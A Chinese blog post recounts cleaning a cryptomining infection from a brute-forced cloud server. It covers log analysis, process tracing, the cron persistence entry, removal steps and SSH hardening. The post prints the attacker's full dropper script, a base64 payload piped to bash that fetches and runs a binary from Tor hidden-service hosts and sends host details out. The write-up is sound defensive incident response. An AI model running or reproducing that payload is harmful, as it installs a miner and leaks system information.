记录一次清理挖矿程序

之前的服务器密码设置的很简单，ssh的端口使用的默认端口22，很容易被别人暴力破解了

先查看一下暴力破解时使用的ip

[root@hostname ~]# find /var/log -name 'secure*' -type f | while read line;do awk '/Failed/{print $(NF-3)}' $line;done | awk '{a[$0]++}END{for (j in a) if(a[j] > 20) print j"="a[j]}' | sort -n -t'=' -k 2
82.156.118.142=23
36.155.9.133=84
182.92.112.94=127
182.92.178.16=1880
182.92.156.24=3992
182.92.107.110=4113

接下来就干掉这个挖矿程序

[root@hostname ~]# top

找到挖矿程序的pid 进入这个进程的目录 找一下文件位置

[root@hostname ~]# cd /proc/196121
[root@hostname 196121]# ll

dr-xr-xr-x 2 root root 0 Mar  2 12:53 attr
-rw-r--r-- 1 root root 0 Mar  2 13:19 autogroup
-r-------- 1 root root 0 Mar  2 13:19 auxv
-r--r--r-- 1 root root 0 Mar  2 13:19 cgroup
--w------- 1 root root 0 Mar  2 13:19 clear_refs
-r--r--r-- 1 root root 0 Mar  2 12:53 cmdline
-rw-r--r-- 1 root root 0 Mar  2 12:54 comm
-rw-r--r-- 1 root root 0 Mar  2 13:19 coredump_filter
-r--r--r-- 1 root root 0 Mar  2 13:19 cpuset
lrwxrwxrwx 1 root root 0 Mar  2 13:19 cwd -> /
-r-------- 1 root root 0 Mar  2 13:19 environ
lrwxrwxrwx 1 root root 0 Mar  2 13:19 exe -> '/root/864954f50a56c303d427168efc739e93'

可能是root目录下的一个文件 不确定是哪个文件

[root@hostname ~]# cd /root
[root@hostname ~]# ls -a
.   aegis_install.sh  .bash_logout   .bashrc  .config  install.sh  package.xml  .pip              .python_history  .systemd-service.sh  .viminfo
..  .bash_history     .bash_profile  .cache   .cshrc   .npmrc      .pearrc      .pydistutils.cfg  .ssh             .tcshrc              .wget-hsts

查看一下定时任务是否存在异常信息

[root@hostname ~]# crontab -l
44 * * * * /root/.systemd-service.sh > /dev/null 2>&1 &

查看一下这个文件吧

[root@hostname ~]# vi .systemd-service.sh

#!/bin/bash
exec &>/dev/null
echo bhajQKVmnmwXJTe4r3ZpAgfJzVxELCErQ/WVBdKALcIpzlP8lOUlY7Z8/eyGdDFC
echo YmhhalFLVm1ubXdYSlRlNHIzWnBBZ2ZKelZ4RUxDRXJRL1dWQmRLQUxjSXB6bFA4bE9VbFk3WjgvZXlHZERGQwpleGVjICY+L2Rldi9udWxsCmV4cG9ydCBQQVRIPSRQQVRIOiRIT01FOi9iaW46L3NiaW46L3Vzci9iaW46L3Vzci9zYmluOi91c3IvbG9jYWwvYmluOi91c3IvbG9jYWwvc2JpbgoKZD0kKGdyZXAgeDokKGlkIC11KTogL2V0Yy9wYXNzd2R8Y3V0IC1kOiAtZjYpCmM9JChlY2hvICJjdXJsIC00ZnNTTGtBLSAtbTIwMCIpCnQ9JChlY2hvICI1aXhoaWVlem96eHdudmlzb3BneG9iYTZzc2JzcnZkcHhlZHV4YjRqYzZ6eDdzNTZydWZyanphZCIpCgpzb2NreigpIHsKbj0oZG9oLmRlZmF1bHRyb3V0ZXMuZGUgZG5zLmhvc3R1eC5uZXQgdW5jZW5zb3JlZC5sdXgxLmRucy5uaXhuZXQueHl6IGRucy5ydWJ5ZmlzaC5jbiBkbnMudHduaWMudHcgZG9oLmNlbnRyYWxldS5waS1kbnMuY29tIGRvaC5kbnMuc2IgZG9oLWZpLmJsYWhkbnMuY29tIGZpLmRvaC5kbnMuc25vcHl0YS5vcmcgZG5zLmZsYXR1c2xpZmlyLmlzIGRvaC5saSBkbnMuZGlnaXRhbGUtZ2VzZWxsc2NoYWZ0LmNoKQpwPSQoZWNobyAiZG5zLXF1ZXJ5P25hbWU9cmVsYXkudG9yMnNvY2tzLmluIikKcz0kKCRjIGh0dHBzOi8vJHtuWyQoKFJBTkRPTSUxMCkpXX0vJHAgfCBncmVwIC1vRSAiXGIoWzAtOV17MSwzfVwuKXszfVswLTldezEsM31cYiIgfHRyICcgJyAnXG4nfGdyZXAgLUV2IFsuXTB8c29ydCAtdVJ8aGVhZCAtbiAxKQp9CgpmZXhlKCkgewpmb3IgaSBpbiAuICRIT01FIC91c3IvYmluICRkIC92YXIvdG1wIDtkbyBlY2hvIGV4aXQgPiAkaS9pICYmIGNobW9kICt4ICRpL2kgJiYgY2QgJGkgJiYgLi9pICYmIHJtIC1mIGkgJiYgYnJlYWs7ZG9uZQp9Cgp1KCkgewpzb2NregpmPS9pbnQuJCh1bmFtZSAtbSkKeD0uLyQoZGF0ZXxtZDVzdW18Y3V0IC1mMSAtZC0pCnI9JChjdXJsIC00ZnNTTGsgY2hlY2tpcC5hbWF6b25hd3MuY29tfHxjdXJsIC00ZnNTTGsgaXAuc2IpXyQod2hvYW1pKV8kKHVuYW1lIC1tKV8kKHVuYW1lIC1uKV8kKGlwIGF8Z3JlcCAnaW5ldCAnfGF3ayB7J3ByaW50ICQyJ318bWQ1c3VtfGF3ayB7J3ByaW50ICQxJ30pXyQoY3JvbnRhYiAtbHxiYXNlNjQgLXcwKQokYyAteCBzb2NrczVoOi8vJHM6OTA1MCAkdC5vbmlvbiRmIC1vJHggLWUkciB8fCAkYyAkMSRmIC1vJHggLWUkcgpjaG1vZCAreCAkeDskeDtybSAtZiAkeAp9Cgpmb3IgaCBpbiB0b3Iyd2ViLmluIHRvcjJ3ZWIuaXQgb25pb24uZm91bmRhdGlvbiBvbmlvbi5jb20uZGUgb25pb24uc2ggdG9yMndlYi5zdSAKZG8KaWYgISBscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzOyB0aGVuCmZleGU7dSAkdC4kaApscyAvcHJvYy8kKGhlYWQgLW4gMSAvdG1wLy5YMTEtdW5peC8wMSkvc3RhdHVzIHx8IChjZCAvdG1wO3UgJHQuJGgpCmxzIC9wcm9jLyQoaGVhZCAtbiAxIC90bXAvLlgxMS11bml4LzAxKS9zdGF0dXMgfHwgKGNkIC9kZXYvc2htO3UgJHQuJGgpCmVsc2UKYnJlYWsKZmkKZG9uZQo=|base64 -d|bash

使用base64加密了 还是先干掉他吧

[root@hostname ~]# kill -9 196121  //杀掉进程
[root@hostname ~]# crontab -e   //删除定时任务 找到那一条删除掉 保存退出就行了
[root@hostname ~]# rm -f .systemd-service.sh   //删除脚本文件
[root@hostname ~]# cat /etc/passwd //检查是否存在未知用户
[root@hostname ~]# cat ~/.ssh/authorized_keys  //检查是否对未知用户授权
[root@hostname ~]# cat ~/.ssh/known_hosts //检查是否有未知的用host 发现多了一条 删除掉
172.21.22.3 ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJu5cssiIPbPPjyI8JGPqp7RCNFlzHpn5pbtlu0O2pNXtiM3Cm7J8gwXn9RRG4tw83YJD8ApmBUjXzCt4wxRNaQ=
#下面的内容中存在异常信息就删除掉
[root@hostname ~]# vi /etc/rc.local  //用于添加开机启动命令
[root@hostname ~]# vi /etc/rc.d/rc.sysinit  //配置文件初始化Linux系统
[root@hostname ~]# vi /etc/inittab  //init进程就是根据/etc/inittab这个文件来在不同的运行级别启动相应的进程或执行相应的操作
[root@hostname ~]# vi /etc/profile  //系统环境变量

修改掉ssh默认端口号 删除掉Port 22前面的#，然后下一行输入新的端口号如：Port 2365（这个你自己定，最大不能超过65535）

[root@hostname ~]# vim /etc/ssh/sshd_config

我是用的是阿里云的服务器 需要在阿里云控制台配置安全组打开2365端口 记得关闭22端口
然后重启ssh服务就可以了

[root@hostname ~]# systemctl restart sshd.service

可以安装下clamav杀毒软件 扫描下是否存在蠕虫病毒 或者是否留有后门

安装方法 https://www.jianshu.com/p/e3d64cc80e6f

挖矿程序的代码后面会发布出来